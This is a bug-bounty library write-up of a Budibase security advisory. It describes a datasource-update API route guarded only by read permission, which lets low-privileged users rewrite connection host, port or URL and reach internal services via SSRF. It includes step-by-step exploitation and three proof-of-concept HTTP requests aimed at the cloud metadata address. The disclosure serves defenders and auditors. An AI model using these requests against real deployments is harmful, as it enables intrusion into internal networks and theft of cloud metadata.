# Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL

Budibase's datasource update route required only TABLE/READ, letting any BASIC app user rewrite connection host/port/url and pivot to internal SSRF.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: komyunghan
- Disclosed: 2026-05-15
- CVE: CVE-2026-45717
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-44m2-crh7-f4q2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-44m2-crh7-f4q2
- Tags: area:web domain:api domain:web impact:dos impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:ssrf

**Target:** REST API route PUT /api/datasources/:datasourceId and datasource config store
**Root cause:** The update route was registered in authorizedRoutes (TABLE/READ) instead of builderRoutes, and the controller performs no builder check, so mergeConfigs persists attacker-supplied host/port/url fields.
**Steps:**
1. Authenticate as a BASIC-role app user and obtain a bearer token.
2. Send `PUT /api/datasources/<datasource_id>` with body `{"config":{"host":"169.254.169.254","port":5432,"database":"postgres","user":"postgres","password":"PASSWORD_REPLACEMENT"}}`.
3. Config is persisted to CouchDB with the attacker host.
4. Trigger `POST /api/queries/execute` against the datasource so the SQL driver opens a TCP connection to the internal address.
5. For REST datasources, instead set `config.url` to `http://169.254.169.254/latest/meta-data/` and read the response in query results.
**How found:** Code review of route registration: noticed the PUT route sat in authorizedRoutes alongside the GET read route while create/delete/verify were in builderRoutes, then traced the permission middleware to confirm BASIC role satisfies TABLE/READ and that the controller adds no builder guard.
**Exploitation:** A low-privileged authenticated app user rewrites a shared datasource's connection parameters, then any query execution makes the server's SQL driver connect to an internal IP/port (e.g. cloud metadata), bypassing the HTTP-layer IP deny list used for REST connectors; alternatively the config is corrupted to break all dependent queries.
**Escalation:** Chaining the write primitive with query execution turns a config-overwrite into network-level SSRF against internal services and cloud metadata.
**Insight:** When auditing route tables, diff each mutating verb against its sibling read route's auth group — a PUT sharing the GET's group is a strong smell; also check whether config-merge helpers only protect secret sentinels, leaving host/url/port attacker-controlled for SSRF.

## Proof of concept (copied exactly from the original report)

**PUT request overwriting datasource config as BASIC user**

```
PUT /api/datasources/<target_datasource_id> HTTP/1.1
Host: <budibase-host>
Authorization: Bearer <basic-user-access-token>
Content-Type: application/json

{
  "name": "Modified",
  "source": "POSTGRES",
  "type": "datasource",
  "config": {
    "host": "169.254.169.254",
    "port": 5432,
    "database": "postgres",
    "user": "postgres",
    "password": "PASSWORD_REPLACEMENT",
    "ssl": false
  }
}
```

**SSRF via SQL driver host redirection payload**

```
PUT /api/datasources/<datasource_id> HTTP/1.1
   Host: target
   Authorization: Bearer <app-user-token>
   Content-Type: application/json

   {
     "config": {
       "host": "169.254.169.254",
       "port": 5432,
       "database": "postgres",
       "user": "postgres",
       "password": "PASSWORD_REPLACEMENT"
     }
   }
```

**REST datasource URL SSRF payload**

```
PUT /api/datasources/<datasource_id> HTTP/1.1
   ...
   {
     "config": {
       "url": "http://169.254.169.254/latest/meta-data/"
     }
   }
```

